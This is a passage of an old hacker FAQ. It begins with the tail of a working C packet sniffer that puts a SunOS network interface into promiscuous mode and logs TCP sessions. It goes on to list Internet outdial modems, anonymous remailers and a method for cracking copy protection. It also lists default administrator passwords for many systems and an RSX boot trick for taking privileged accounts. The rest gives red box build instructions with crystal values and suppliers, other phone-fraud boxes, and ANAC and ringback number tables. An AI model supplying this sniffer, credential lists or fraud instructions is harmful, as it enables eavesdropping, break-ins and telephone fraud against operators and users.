*)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); + } + + } else { + + if(TCPFL(TH_SYN)) { + ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); + } + + } + + IDLE_NODE(); + + } + +} + +/* signal handler + */ +void death() +{ register struct CREC *CLe; + + while(CLe=CLroot) + END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); + + fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); + fflush(LOG); + if(LOG != stdout) + fclose(LOG); + exit(1); +} + +/* opens network interface, performs ioctls and reads from it, + * passing data to filter function + */ +void do_it() +{ + int cc; + char *buf; + u_short sp_ts_len; + + if(!(buf=malloc(CHUNKSIZE))) + Pexit(1,"Eth: malloc"); + +/* this /dev/nit initialization code pinched from etherfind */ + { + struct strioctl si; + struct ifreq ifr; + struct timeval timeout; + u_int chunksize = CHUNKSIZE; + u_long if_flags = NI_PROMISC; + + if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) + Pexit(1,"Eth: nit open"); + + if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) + Pexit(1,"Eth: ioctl (I_SRDOPT)"); + + si.ic_timout = INFTIM; + + if(ioctl(if_fd, I_PUSH, "nbuf") < 0) + Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); + + timeout.tv_sec = 1; + timeout.tv_usec = 0; + si.ic_cmd = NIOCSTIME; + si.ic_len = sizeof(timeout); + si.ic_dp = (char *)&timeout; + if(ioctl(if_fd, I_STR, (char *)&si) < 0) + Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); + + si.ic_cmd = NIOCSCHUNK; + si.ic_len = sizeof(chunksize); + si.ic_dp = (char *)&chunksize; + if(ioctl(if_fd, I_STR, (char *)&si) < 0) + Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); + + strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); + ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; + si.ic_cmd = NIOCBIND; + si.ic_len = sizeof(ifr); + si.ic_dp = (char *)𝔦 + if(ioctl(if_fd, I_STR, (char *)&si) < 0) + Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); + + si.ic_cmd = NIOCSFLAGS; + si.ic_len = sizeof(if_flags); + si.ic_dp = (char *)&if_flags; + if(ioctl(if_fd, I_STR, (char *)&si) < 0) + Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); + + if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) + Pexit(1,"Eth: ioctl (I_FLUSH)"); + } + + while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { + register char *bp = buf, + *bufstop = (buf + cc); + + while (bp < bufstop) { + register char *cp = bp; + register struct nit_bufhdr *hdrp; + + hdrp = (struct nit_bufhdr *)cp; + cp += sizeof(struct nit_bufhdr); + bp += hdrp->nhb_totlen; + filter(cp, (u_long)hdrp->nhb_msglen); + } + } + Pexit((-1),"Eth: read"); +} + /* Authorize your proogie,generate your own password and uncomment here */ +/* #define AUTHPASSWD "EloiZgZejWyms" */ + +void getauth() +{ char *buf,*getpass(),*crypt(); + char pwd[21],prmpt[81]; + + strcpy(pwd,AUTHPASSWD); + sprintf(prmpt,"(%s)UP? ",ProgName); + buf=getpass(prmpt); + if(strcmp(pwd,crypt(buf,pwd))) + exit(1); +} + */ +void main(argc, argv) +int argc; +char **argv; +{ + char cbuf[BUFSIZ]; + struct ifconf ifc; + int s, + ac=1, + backg=0; + + ProgName=argv[0]; + + /* getauth(); */ + + LOG=NULL; + device=NULL; + while((acifr_name; + } + + fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); + fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", + (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); + + if(!LOG) + LOG=stdout; + + signal(SIGINT, death); + signal(SIGTERM,death); + signal(SIGKILL,death); + signal(SIGQUIT,death); + + if(backg && debug) { + fprintf(ERR,"[Cannot bg with debug on]\n"); + backg=0; + } + + if(backg) { + register int s; + + if((s=fork())>0) { + fprintf(ERR,"[pid %d]\n",s); + exit(0); + } else if(s<0) + Pexit(1,"fork"); + + if( (s=open("/dev/tty",O_RDWR))>0 ) { + ioctl(s,TIOCNOTTY,(char *)NULL); + close(s); + } + } + fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); + fflush(LOG); + + do_it(); +} + + +21. What is an Internet Outdial? + +An Internet outdial is a modem connected to the Internet than you can +use to dial out. Normal outdials will only call local numbers. A GOD +(Global OutDial) is capable of calling long distance. Outdials are an +inexpensive method of calling long distance BBS's. + + +22. What are some Internet Outdials? + +This FAQ answer is excerpted from: BlackAdders FTP/FSP Site List. + + +Area Address(s) Command(s) +------ ------------------------------- --------------------- +201 128.112.88.0 + 128.112.88.1 + 128.112.88.2 + 128.112.88.3 +204 umnet.cc.manitoba.ca "dial12" or "dial24" +206 dialout24.cac.washington.edu +215 wiseowl.ocis.temple.edu atz + atdt 9xxxyyyy + 129.72.1.59 hayes compat +218 aa28.d.umn.edu cli + rlogin modem + at "login:" type + "modem" + modem.d.umn.edu "Hayes" +232 isn.rdns.iastate.edu MODEM [Works!!] + atz + atdt8xxx-xxxx +303 129.82.100.64 login: modem [need password!] +307 modem.uwyo.edu + 129.72.1.59 hayes compat +313 35.1.1.6 "dial2400-aa" or [can't connect] + "dial1200-aa" +404 emory.edu .modem8 or + .dialout + broadband.cc.emory.edu .modem8 or + .dialout + 128.140.1.239 .modem8|CR + or .modem96|CR +412 gate.cis.pitt.edu LAT + connect dialout + ^E + atdt 91k xxx-xxxx +415 128.32.132.250 "dial1" or "dial2" +416 pacx.utcs.utoronto.ca modem + atdt 9xxx-xxxx +502 uknet.uky.edu outdial2400 + atdt 9xxx-xxxx +510 annex132-1.eecs.berkeley.edu atdt 9,,,,, xxx-xxxx +514 132.204.2.11 externe#9 9xxx-xxxx +515 isn.rdns.iastate.edu login MODEM + dial atdt8xxx-yyyy +602 129.219.17.3 atdt8,,,,,xyyyxxxyyyy + 129.219.17.3 login: MODEM + atdt 8xxx-xxxx +609 129.72.1.59 "Hayes" + 128.119.131.110 "Hayes" + 128.119.131.111 + 128.119.131.112 + 128.119.131.113 + 128.119.131.114 + 128.112.131.110 + 128.112.131.111 + 128.112.131.112 + 128.112.131.113 + 128.112.131.114 the above are hayes +614 ns2400.ircc.ohio-state.edu DIAL [can't connect] +615 dca.utk.edu "dial2400" +617 dialout.lcs.mit.edu +619 dialin.ucsd.edu "dialout" + 128.54.30.1 nue +713 128.143.70.101 "connect hayes" + 128.249.27.154 c modem96 + atdt 9xxx-xxxx + 128.249.27.153 " -+ as above +- " + modem24.bcm.tmc.edu + modem12.bcm.tmc.edu +714 130.191.4.70 atdt 8xxx-xxxx +804 ublan.acc.virginia.edu c hayes + 128.143.70.101 connect hayes + atdt xxx-xxxx +902 star.ccs.tuns.ca "dialout" [down...] +916 128.120.2.251 "dialout" [down...] + 129.137.33.72 [can't connect] +??? dialout1.princeton.edu [can't connect] + dswitch.byu.edu "C Modem" [can't connect] + modem.cis.uflu.edu [can't connect] + r596adi1.uc.edu [can't connect] + vtnet1.cns.ut.edu "CALL" or "call" [can't connect] + 18.26.0.55 [can't connect] + 128.173.5.4 [need password!] + 128.187.1.2 [need password!] + 129.137.33.71 [can't connect] + bstorm.bga.com / port=4000 [what is this?] + + +N 23. What is an anonymous remailer? + +An anonymous remailer is a system on the Internet that allows you to +send e-mail anonymously or post messages to Usenet anonymously. + +You apply for an anonymous ID at the remailer site. Then, when you +send a message to the remailer, it sends it out from your anonymous ID +at the remailer. No one reading the post will know your real account +name or host name. If someone sends a message to your anonymous ID, +it will be forwarded to your real account by the remailer. + + +N 24. What are the addresses of some anonymous remailers? + +The most popular and stable anonymous remailer is anon.penet.fi, +operated by Johan Helsingus. To obtain an anonymous ID, mail +ping@anon.penet.fi. For assistance is obtaining an anonymous account +at penet, mail help@anon.penet.fi. + + +N 23. How do I defeat Copy Protection? + +There are two common methods of defeating copy protection. The first +is to use a program that removes copy protection. Popular programs +that do this are CopyIIPC from Central Point Software and CopyWrite +from Quaid Software. The second method involves patching the copy +protected program. For popular software, you may be able to locate a +ready made patch. You can them apply the patch using any hex editor, +such as debug or the Peter Norton's DiskEdit. If you cannot, you must +patch the software yourself. + +Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It +also requires some knowledge of assembly language. Load the protected +program under the debugger and watch for it to check the protection +mechanism. When it does, change that portion of the code. The code +can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to +JMP (Jump Unconditionally). Or the code may simply be replaced with +NOP (No Operation) instructions. + + +N 24. What is this system? + +AS/400 +~~~~~~ +> UserID? +> Password? +> +> Once in, type GO MAIN + +CDC Cyber +~~~~~~~~~ +> WELCOME TO THE NOS SOFTWARE SYSTEM. +> COPYRIGHT CONTROL DATA 1978, 1987. +> +> 88/02/16. 02.36.53. N265100 +> CSUS CYBER 170-730. NOS 2.5.2-678/3. +> FAMILY: +> +> You would normally just hit return at the family prompt. Next prompt is: +> +> USER NAME: + +Hewlett Packard MPE-XL +~~~~~~~~~~~~~~~~~~~~~~ +> MPE XL: +> EXPECTED A :HELLO COMMAND. (CIERR 6057) +> MPE XL: +> EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) +> MPE XL: + +GTN +~~~ +> WELCOME TO CITIBANK. PLEASE SIGN ON. +> XXXXXXXX +> +> @ +> PASSWORD = +> +> @ +> +> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +> +> PLEASE ENTER YOUR ID:-1-> +> PLEASE ENTER YOUR PASSWORD:-2-> +> +> CITICORP (CITY NAME). KEY GHELP FOR HELP. +> XXX.XXX +> PLEASE SELECT SERVICE REQUIRED.-3-> + +PRIMOS +~~~~~~ +> PRIMENET 19.2.7F PPOA1 +> +> +> +> ER! +> +> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +> +> CONNECT +> Primenet V 2.3 (system) +> LOGIN (you) +> User id? (system) +> SAPB5 (you) +> Password? (system) +> DROWSAP (you) +> OK, (system) + +ROLM-OSL +~~~~~~~~ +> MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 +> RELEASE 8003 +> OSL, PLEASE. +> ? + +Tops-10 +~~~~~~~ +> NIH Timesharing +> +> NIH Tri-SMP 7.02-FF 16:30:04 TTY11 +> system 1378/1381/1453 Connected to Node Happy(40) Line # 12 +> Please LOGIN +> . + +VM/370 +~~~~~~ +> VM/370 +> ! + + +N 25. What are the default accounts for XXX? + +AS/400 +~~~~~~ +> qsecofr/qsecofr (master security officer) +> qsysopr/qsysopr (system operator) +> qpgmr/qpgmr (default programmer) +> +> also +> +> secofr/secofr (sometimes...) +> ibm/password +> ibm/2222 +> ibm/service + +Hewlett Packard MPE-XL +~~~~~~~~~~~~~~~~~~~~~~ +> Format is Account.Group,Job +> +> HELLO Account Password +> ~~~~~ ~~~~~~~~~~~~~ ~~~~~~~~~~~ +> HELLO MANAGER.SYS +> HELLO MGR.SYS +> HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP +> HELLO OP.OPERATOR +> MGR .CAROLIAN +> MGR .CCC +> MGR .CNAS +> MGR .CONV +> MGR .COGNOS +> OPERATOR .COGNOS +> MANAGER .COGNOS +> OPERATOR .DISC +> MGR .HPDESK +> MGR .HPWORD +> FIELD .HPWORD +> MGR .HPOFFICE +> SPOOLMAN .HPOFFICE +> ADVMAIL .HPOFFICE +> MAIL .HPOFFICE +> WP .HPOFFICE +> MANAGER .HPOFFICE +> MGR .HPONLY +> FIELD .HPP187 +> MGR .HPP187 +> MGR .HPP189 +> MGR .HPP196 +> MGR .INTX3 +> MGR .ITF3000 +> MANAGER .ITF3000 +> MAIL .MAIL +> MGR .NETBASE +> MGR .REGO +> MGR .RJE +> MGR .ROBELLE +> MANAGER .SECURITY +> MGR .SECURITY +> FIELD .SERVICE +> MANAGER .SYS +> MGR .SYS +> PCUSER .SYS +> RSBCMON .SYS +> OPERATOR .SYS +> OPERATOR .SYSTEM +> FIELD .SUPPORT +> OPERATOR .SUPPORT +> MANAGER .TCH +> MAIL .TELESUP +> MANAGER .TELESUP +> MGR .TELESUP +> SYS .TELESUP +> MGE .VESOFT +> MGE .VESOFT +> MGR .WORD +> MGR .XLSERVER +> +> Common jobs are Pub, Sys, Data +> Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote + +PICK O/S +~~~~~~~~ +> DSA # Desquetop System Administrator +> DS +> DESQUETOP +> PHANTOM + +Rolm +~~~~ +> CBX Defaults +> +> op op +> op operator +> su super +> admin pwp +> eng engineer +> +> +> PhoneMail Defaults +> +> sysadmin sysadmin +> tech tech +> poll tech + +RSX +~~~ +> SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM) +> 1,1/system (Directory [1,1] Password SYSTEM) +> BATCH/BATCH +> SYSTEM/MANAGER +> USER/USER +> +> Default accounts for Micro/RSX: +> +> MICRO/RSX +> +> Alternately you can hit when the boot sequence asks you for the +> date and create an account using: +> +> RUN ACNT +> or RUN $ACNT +> +> (Numbers below 10 {oct} are Priveledged) +> +> Reboot and wait for the date/time question. Type ^C and at the MCR prompt, +> type "abo at." You must include the . dot! +> +> If this works, type "acs lb0:/blks=1000" to get some swap space so the +> new step won't wedge. +> +> type " run $acnt" and change the password of any account with a group +> number of 7 or less. +> +> You may find that the ^C does not work. Try ^Z and ESC as well. +> Also try all 3 as terminators to valid and invalid times. +> +> If none of the above work, use the halt switch to halt the system, +> just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. +> then deposit 177777 into R6, cross your fingers, write protect the drive +> and continue the system. This will hopefully result in indirect blowing +> up... And hopefully the system has not been fully secured. + +System 75 +~~~~~~~~~ +> Username Passwords +> ~~~~~~~~ ~~~~~~~~~ +> bcim bcimpw +> bciim bciimpw +> bcms bcmspw, bcms +> bcnas bcnspw +> blue bluepw +> browse looker, browsepw +> craft crftpw, craftpw, crack +> cust custpw +> enquiry enquirypw +> field support +> inads indspw, inadspw, inads +> init initpw +> kraft kraftpw +> locate locatepw +> maint maintpw, rwmaint +> nms nmspw +> rcust rcustpw +> support supportpw +> tech field + +Verifone Junior 2.05 +~~~~~~~~~~~~~~~~~~~~ +> Default password: 166816 + + +N 26. What port is XXX on? + +The file /etc/services on most Unix machines lists the activity +occuring on each port. Here is a sample /etc/services file from +Linux: + +# +# services This file describes the various services that are +# available from the TCP/IP subsystem. It should be +# consulted instead of using the numbers in the ARPA +# include files, or, worse, just guessing them. +# +# Version: @(#)/etc/services 3.02 02/21/93 +# +# Author: Fred N. van Kempen, +# + +tcpmux 1/tcp # rfc-1078 +echo 7/tcp +echo 7/udp +discard 9/tcp sink null +discard 9/udp sink null +systat 11/tcp users +daytime 13/tcp +daytime 13/udp +netstat 15/tcp +qotd 17/tcp quote +chargen 19/tcp ttytst source +chargen 19/udp ttytst source +ftp-data 20/tcp +ftp 21/tcp +telnet 23/tcp +smtp 25/tcp mail +time 37/tcp timserver +time 37/udp timserver +rlp 39/udp resource # resource location +name 42/udp nameserver +whois 43/tcp nicname # usually to sri-nic +domain 53/tcp +domain 53/udp +mtp 57/tcp # deprecated +bootps 67/udp # bootp server +bootpc 68/udp # bootp client +tftp 69/udp +rje 77/tcp +finger 79/tcp +link 87/tcp ttylink +supdup 95/tcp # BSD supdupd(8) +hostnames 101/tcp hostname # usually to sri-nic +iso-tsap 102/tcp +x400 103/tcp # ISO Mail +x400-snd 104/tcp +csnet-ns 105/tcp +pop-2 109/tcp # PostOffice V.2 +pop-3 110/tcp # PostOffice V.3 +sunrpc 111/tcp +sunrpc 111/tcp portmapper # RPC 4.0 portmapper UDP +sunrpc 111/udp +sunrpc 111/udp portmapper # RPC 4.0 portmapper TCP +ident 113/tcp auth tap # identd +sftp 115/tcp +uucp-path 117/tcp +nntp 119/tcp usenet # Network News Transfer +ntp 123/tcp # Network Time Protocol +ntp 123/udp # Network Time Protocol +netbios-ns 137/tcp nbns +netbios-ns 137/udp nbns +netbios-dgm 138/tcp nbdgm +netbios-dgm 138/udp nbdgm +netbios-ssn 139/tcp nbssn +NeWS 144/tcp news # Window System +snmp 161/udp +snmp-trap 162/udp +exec 512/tcp # BSD rexecd(8) +biff 512/udp comsat +login 513/tcp # BSD rlogind(8) +who 513/udp whod # BSD rwhod(8) +shell 514/tcp cmd # BSD rshd(8) +syslog 514/udp # BSD syslogd(8) +printer 515/tcp spooler # BSD lpd(8) +talk 517/udp # BSD talkd(8) +ntalk 518/udp # SunOS talkd(8) +efs 520/tcp # for LucasFilm +route 520/udp router routed # 521/udp too +timed 525/udp timeserver +tempo 526/tcp newdate +courier 530/tcp rpc # experimental +conference 531/tcp chat +netnews 532/tcp readnews +netwall 533/udp # -for emergency broadcasts +uucp 540/tcp uucpd # BSD uucpd(8) UUCP service +new-rwho 550/udp new-who # experimental +remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem +rmonitor 560/udp rmonitord # experimental +monitor 561/udp # experimental +pcserver 600/tcp # ECD Integrated PC board srvr +mount 635/udp # NFS Mount Service +pcnfs 640/udp # PC-NFS DOS Authentication +bwnfs 650/udp # BW-NFS DOS Authentication +listen 1025/tcp listener RFS remote_file_sharing +nterm 1026/tcp remote_login network_terminal +ingreslock 1524/tcp +tnet 1600/tcp # transputer net daemon +nfs 2049/udp # NFS File Service +irc 6667/tcp # Internet Relay Chat +dos 7000/tcp msdos + +# End of services. + + +Section B: Telephony +~~~~~~~~~~~~~~~~~~~~ + +01. What is a Red Box? + +When a coin is inserted into a payphone, the phone emits a set of +tones. A red box is a device that simulates those tones, with the +purpose of fooling the payphone into believing you have inserted an +actual coin. The actual tones are: + +Nickel Signal 1700+2200 0.060s on +Dime Signal 1700+2200 0.060s on, 0.060s off, twice repeating +Quarter Signal 1700+2200 33ms on, 33ms off, 5 times repeating + + +02. How do I build a Red Box? + +Red boxes are commonly manufactured from modified Radio Shack tone +dialers, Hallmark greeting cards, or made from scratch from readily +available electronic components. + +To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, +open the dialer and replace the crystal (the largest shiny metal +component). The exact value needed is 6.502457409Mhz. Unfortunately, +that crystal is not commonly manufactured. A crystal close to that +value will create a tone that falls within tolerances. The most +popular choice is the 6.5536Mhz crystal. When you are finished +replacing the crystal, program the P1 button with five *'s. That will +simulate a quarter tone each time you press P1. + + +03. Where can I get a 6.5536Mhz crystal? + +Your best bet is a local electronics store. Radio Shack sells them, +but they are overpriced and the store must order them in. This takes +approximately two weeks. In addition, many Radio Shack employees do +not know that this can be done. + +Or, you could order the crystal mail order. This introduces Shipping +and Handling charges, which are usually much greater than the price of +the crystal. It's best to get several people together to share the +S&H cost. Or, buy five or six yourself and sell them later. Some of +the places you can order crystals are: + +JDR Microdevices: +2233 Branham Lane +San Jose, CA 95124 +(800)538-5000 +Part Number: 6.5536MHZ + +Tandy Express Order Marketing +401 NE 38th Street +Fort Worth, TX 76106 +(800)241-8742 +Part Number: 10068625 + + +04. Which payphones will a Red Box work on? + +Red Boxes will work on TelCo owned payphones, but not on COCOT's +(Customer Owned Coin Operated Telephones). + + +05. What is a Blue Box? + +Blue boxes use a 2600hz tone to convince telephone switches that use +in-band signalling that the caller is actually a telephone operator. +The caller may then access special switch functions, with the usual +purpose of making free long distance phone calls, using the +Multi-Frequency tones provided by the Blue Box. + + +06. Do Blue Boxes still work? + +Blue Boxes still work in areas using in-band signalling. Modern phone +signalling switches using ESS (Electronic Signalling Systems) use +out-of-band-signalling. Nothing you send over the voice portion of +bandwidth can control the switch. + + +07. What is a Black Box? + +A Black Box is a 10k ohm resistor placed across your phone line to +cause the phone company equipment to be unable to detect that you have +answered your telephone. People who call you will then not be billed +for the telephone call. + + +08. What do all the colored boxes do? + +Acrylic Steal Three-Way-Calling, Call Waiting and programmable + Call Forwarding on old 4-wire phone systems +Aqua Drain the voltage of the FBI lock-in-trace/trap-trace +Beige Lineman's hand set +Black Allows the calling party to not be billed for the call + placed +Blast Phone microphone amplifier +Blotto Supposedly shorts every fone out in the immediate area +Blue Emulate a true operator by siezing a trunk with a 2600hz + tone +Brown Create a party line from 2 phone lines +Bud Tap into your neighbors phone line +Chartreuse Use the electricity from your phone line +Cheese Connect two phones to create a divertor +Chrome Manipulate Traffic Signals by Remote Control +Clear A telephone pickup coil and a small amp use to make free + calls on Fortress Phones +Color Line activated telephone recorder +Copper Cause crosstalk interference on an extender +Crimson Hold button +Dark Re-route outgoing or incoming calls to another phone +Dayglo Connect to your neighbors phone line +Divertor Re-route outgoing or incoming calls to another phone +DLOC Create a party line from 2 phone lines +Gold Trace calls, tell if the call is being traced, and can + change a trace +Green Emulate the Coin Collect, Coin Return, and Ringback tones +Infinity Remotely activated phone tap +Jack Touch-Tone key pad +Light In-use light +Lunch AM transmitter +Magenta Connect a remote phone line to another remote phone line +Mauve Phone tap without cutting into a line +Neon External microphone +Noise Create line noise +Olive External ringer +Party Create a party line from 2 phone lines +Pearl Tone generator +Pink Create a party line from 2 phone lines +Purple Telephone hold button +Rainbow Kill a trace by putting 120v into the phone line (joke) +Razz Tap into your neighbors phone +Red Make free phone calls from pay phones by generating + quarter tones +Rock Add music to your phone line +Scarlet Cause a neighbors phone line to have poor reception +Silver Create the DTMF tones for A, B, C and D +Static Keep the voltage on a phone line high +Switch Add hold, indicator lights, conferencing, etc.. +Tan Line activated telephone recorder +Tron Reverse the phase of power to your house, causing your + electric meter to run slower +TV Cable "See" sound waves on your TV +Urine Create a capacitative disturbance between the ring and + tip wires in another's telephone headset +Violet Keep a payphone from hanging up +White Portable DTMF keypad +Yellow Add an extension phone + + +09. What is the ANAC number for my area? + +How to find your ANAC number: + +Look up your NPA (Area Code) and try the number listed for it. If that +fails, try 1 plus the number listed for it. If that fails, try the +common numbers like 311, 958 and 200-222-2222. If you find the ANAC +number for your area, please let us know. + +Note that many times the ANAC number will vary for different +switches in the same city. + +A trick to getting the number of the phone line you are calling from +is to call an (800) phone sex line. Example: (800)571-8859. These +systems will give you an account number, which in many cases includes +the telephone number of the phone from which you are calling. + +Another useful 800 ANAC number is the Duke Power Company Automated +Outage System at (800)769-3766. The system will read back to you +the phone number from which you are calling. + +Even another 800 ANAC number is Info Access Telephone Company's +Automated Blocking line at (800)568-3197. It will read back to +you the number from which you are calling, and ask if you would like +it blocked. + +(800)3282-630 is another sex line that will give you (after a bit of +work) the last four digits of the phone number you are calling from. + +An non-800 ANAC that works nationwide is 404-988-9664. + +Please use local ANAC numbers if you can, as abuse or overuse kills +800 ANAC numbers. + + +NPA ANAC number Comments +--- --------------- --------------------------------------------- +202 958-xxxx Dictrict of Columbia +203 960 CT (All) +203 970 CT (All) +204 644-xxxx Manitoba +205 908-222-2222 Birmingham, AL +206 411 WA /* Not US West */ +207 958 ME (All) +209 830 Stockton, CA +212 958 Manhattan, NY +213 114 Los Angeles, CA +213 1223 Los Angeles, CA /* some 1AESS switches */ +213 211-2345 Los Angeles, CA /* English response */ +213 211-2346 Los Angeles, CA /* DTMF response */ +213 61056 Los Angeles, CA +214 790 Dallas, TX /* GTE */ +214 970-222-2222 Dallas, TX +214 970-611-1111 Dallas, TX /* Southwestern Bell */ +215 410-xxxx Philadelphia, PA +217 200-xxx-xxxx Champaign-Urbana/Springfield, IL +301 958-9968 Hagerstown/Rockville, MD +305 200-222-2222 Ft. Lauderdale/Key West/Miami, FL +309 200-xxx-xxxx Peoria/Rock Island, IL +310 114 Long Beach, CA /* on many GTE switches */ +310 1223 Long Beach, CA /* some 1AESS switches */ +310 211-2345 Long Beach, CA /* English response */ +310 211-2346 Long Beach, CA /* DTMF response */ +312 200 Chicago, IL +312 290 Chicago, IL +312 1-200-8825 Chicago, IL (Last four change rapidly) +313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI +313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI +313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI +313 200200200200200 Ann Arbor/Dearborn/Detroit, MI +314 511 Columbia/Jefferson City, MO +317 310-222-2222 Indianapolis/Kokomo, IN +317 743-1218 Indianapolis/Kokomo, IN +401 222-2222 RI (All) +402 311 Lincoln, NE +403 311 Alberta, Yukon and N.W. Territory +403 908-222-2222 Alberta, Yukon and N.W. Territory +403 999 Alberta, Yukon and N.W. Territory +404 311 Atlanta, GA +404 940-xxx-xxxx Atlanta, GA +405 897 Enid/Oklahoma City, OK +407 200-222-2222 Orlando/West Palm Beach, FL +408 300-xxx-xxxx San Jose, CA +408 760 San Jose, CA +408 940 San Jose, CA +409 951 Beaumont/Galveston, TX +409 970-xxxx Beaumont/Galveston, TX +410 200-6969 Annapolis/Baltimore, MD +410 200-555-1212 Annapolis/Baltimore, MD +410 811 Annapolis/Baltimore, MD +412 711-6633 Pittsburgh, PA +412 711-4411 Pittsburgh, PA +412 999-xxxx Pittsburgh, PA +413 958 Pittsfield/Springfield, MA +413 200-555-5555 Pittsfield/Springfield, MA +414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI +415 200-555-1212 San Francisco, CA +415 211-2111 San Francisco, CA +415 2222 San Francisco, CA +415 640 San Francisco, CA +415 760-2878 San Francisco, CA +415 7600-2222 San Francisco, CA +419 311 Toledo, OH +502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY +503 611 Portland, OR /* not all parts of town */ +508 958 Fall River/New Bedford/Worchester, MA +508 200-222-1234 Fall River/New Bedford/Worchester, MA +508 200-222-2222 Fall River/New Bedford/Worchester, MA +509 560 Spokane/Walla Walla/Yakima, WA +512 200-222-2222 Austin/Corpus Christi, TX +512 830 Austin/Corpus Christi, TX +512 970-xxxx Austin/Corpus Christi, TX +515 5463 Des Moines, IA +516 958 Hempstead/Long Island, NY +516 968 Hempstead/Long Island, NY +517 200-222-2222 Bay City/Jackson/Lansing, MI +517 200200200200200 Bay City/Jackson/Lansing, MI +518 997 Albany/Schenectady/Troy, NY +518 998 Albany/Schenectady/Troy, NY +602 593-0809 Phoenix, AZ +602 593-6017 Phoenix, AZ +602 593-7451 Phoenix, AZ +603 200-222-2222 NH (All) +606 997-555-1212 Ashland/Winchester, KY +607 993 Binghamton/Elmira, NY +609 958 Atlantic City/Camden/Trenton/Vineland, NJ +612 511 Minneapolis/St.Paul, MN +615 200200200200200 Nashville, TN +615 830 Nashville, TN +616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI +617 200-222-1234 Boston, MA +617 200-222-2222 Boston, MA +617 200-444-4444 Boston, MA /* Woburn, MA */ +617 220-2622 Boston, MA +617 958 Boston, MA +618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL +708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly) +708 356-9646 Chicago/Elgin, IL +713 970-xxxx Houston, TX +714 211-2121 Anaheim, CA /* GTE */ +716 511 Buffalo/Niagra Falls/Rochester, NY /* Rochester Tel */ +717 958 Harrisburg/Scranton/Wilkes-Barre, PA +718 958 Bronx/Brooklyn/Queens/Staten Island, NY +802 2-222-222-2222 Vermont (All) +802 200-222-2222 Vermont (All) +805 830 San Luis Obispo, CA +806 970-xxxx Amarillo/Lubbock, TX +810 200200200200200 Michigan +812 410-555-1212 Evansville, IN +813 311 Ft. Meyers/St. Petersburg/Tampa, FL +815 200-xxx-xxxx La Salle/Rockford, IL +815 290 La Salle/Rockford, IL +817 211 Ft. Worth/Waco, TX +817 970-611-1111 Ft. Worth/Waco, TX /* Southwestern Bell */ +818 1223 Pasadena, CA /* some 1AESS switches */ +818 211-2345 Pasadena, CA /* English response */ +818 211-2346 Pasadena, CA /* DTMF response */ +906 200-222-2222 Marquette/Sault Ste. Marie, MI +908 958 New Brunswick, NJ +910 311 Fayetteville/Greensboro/Raliegh/Winston-Salem, NC +910 988 Fayetteville/Greensboro/Raliegh/Winston-Salem, NC +914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY +915 970-xxxx Abilene/El Paso, TX +919 711 Durham, NC + + +Canada: +306 115 Saskatchewan, Canada +416 410-xxxx Toronto, Ontario +416 997-xxxx Toronto, Ontario +514 320-xxxx Montreal, Quebec +519 320-xxxx London, Ontario +604 1116 British Columbia, Canada +604 1211 British Columbia, Canada +604 211 British Columbia, Canada +613 320-2232 Ottawa, Ontario +705 320-xxxx Saulte Ste. Marie, Ontario + +Australia: ++61 03-552-4111 Victoria 03 area ++61 19123 All major capital cities + +United Kingdom: +175 + + +10. What is a ringback number? + +A ringback number is a number that you call that will immediately +ring the telephone from which it was called. + +In most instances you must call the ringback number, quickly hang up +the phone for just a short moment and then let up on the switch, you +will then go back off hook and hear a different tone. You may then +hang up. You will be called back seconds later. + + +11. What is the ringback number for my area? + +An 'x' means insert those numbers from the phone number from which you +are calling. A '?' means that the number varies from switch to switch +in the area, or changes from time to time. Try all possible +combinations. + +201 551-xxxx Hackensack/Jersey City/Newark/Paterson, NJ +202 958-xxxx District of Columbia +203 991-xxxx CT (All) +209 890-xxxx Stockton, CA +213 1-95x-xxxx Los Angeles, CA +301 958-xxxx Hagerstown/Rockville, MD +303 99X-xxxx Grand Junction, CO +312 511-xxxx Chicago, IL +312 511-xxx-xxxx Chicago, IL +312 57?-xxxx Chicago, IL +412 985-xxxx Pittsburgh, PA +415 350-xxxx San Francisco, CA +501 721-xxx-xxxx AR (All) +502 988 Lexington, KY +504 9988776655 Baton Rouge/New Orleans, LA +512 95X-xxxx Austin, TX +601 777-xxxx MS (All) +609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ +619 331-xxxx San Diego, CA +619 332-xxxx San Diego, CA +703 958-xxxx Alexandria/Arlington/Roanoke, 